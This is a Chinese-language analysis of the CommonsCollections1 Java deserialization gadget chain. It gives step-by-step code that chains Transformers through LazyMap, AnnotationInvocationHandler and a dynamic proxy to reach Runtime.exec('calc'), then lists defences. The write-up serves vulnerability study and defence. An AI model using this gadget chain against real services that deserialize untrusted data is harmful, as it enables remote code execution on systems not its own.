yso——CommonsCollections1分析
字数 1544 2025-08-11 21:26:27
Apache Commons Collections 反序列化漏洞分析(CommonsCollections1)
漏洞概述
Apache Commons Collections是一个常用的Java库,提供了许多集合类的扩展功能。CommonsCollections1漏洞利用了该库中的Transformer接口及其实现类的特性,通过精心构造的恶意对象链,在反序列化时可以实现任意代码执行。
核心知识点
1. Transformer接口
Transformer是Commons Collections中定义的一个接口,只有一个方法:
Object transform(Object input);
2. 关键Transformer实现类
- ConstantTransformer: 无论输入什么,总是返回一个固定值
- InvokerTransformer: 通过反射调用方法
- ChainedTransformer: 将多个Transformer串联起来,按顺序执行
3. LazyMap
LazyMap是Commons Collections提供的一种Map实现,当查询的key不存在时,会调用指定的Transformer来生成value。
4. 动态代理
Java动态代理机制允许在运行时创建实现一组接口的代理类实例。
漏洞利用链分析
第一步:构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
为什么使用Runtime.class而不是Runtime.getRuntime()?
因为Runtime类没有实现Serializable接口,无法直接序列化,只能通过反射方式获取Runtime对象。
第二步:创建LazyMap
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
LazyMap的get方法会调用factory.transform(key),而factory就是我们传入的transformerChain。
第三步:利用AnnotationInvocationHandler
AnnotationInvocationHandler是JDK内部类,实现了InvocationHandler接口和Serializable接口。
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler myInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
第四步:创建动态代理
final Map testMap = new HashMap();
Map evilMap = (Map) Proxy.newProxyInstance(
testMap.getClass().getClassLoader(),
testMap.getClass().getInterfaces(),
myInvocationHandler
);
第五步:构造最终payload
final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
byte[] serializeData = MySerialize.serialize(handler);
MySerialize.unserialize(serializeData);
完整利用流程
- 构造Transformer链,最终执行命令
- 创建LazyMap,将Transformer链设置为factory
- 创建AnnotationInvocationHandler实例,将LazyMap作为memberValues
- 创建动态代理,代理任意Map对象
- 再次创建AnnotationInvocationHandler实例,将代理对象作为memberValues
- 序列化最后一个AnnotationInvocationHandler实例
- 反序列化触发漏洞
关键细节
-
为什么AnnotationInvocationHandler要创建两次实例?
- 第一次用于生成代理类
- 第二次用于生成最终的反序列化对象
-
JDK版本限制
- 该利用链在JDK 8u71及之后版本失效,因为AnnotationInvocationHandler的readObject方法被修改
-
为什么使用反射创建AnnotationInvocationHandler?
- 因为其构造方法是protected修饰的,无法直接实例化
防御措施
- 升级Commons Collections到安全版本
- 使用SerialKiller等工具过滤危险的序列化对象
- 升级JDK到最新版本
- 在反序列化时使用白名单机制
总结
CommonsCollections1漏洞利用链巧妙地结合了Commons Collections库的特性和Java的反射、动态代理机制,通过精心构造的恶意对象在反序列化时实现任意代码执行。理解这个漏洞需要对Java序列化机制、反射和动态代理有深入的理解。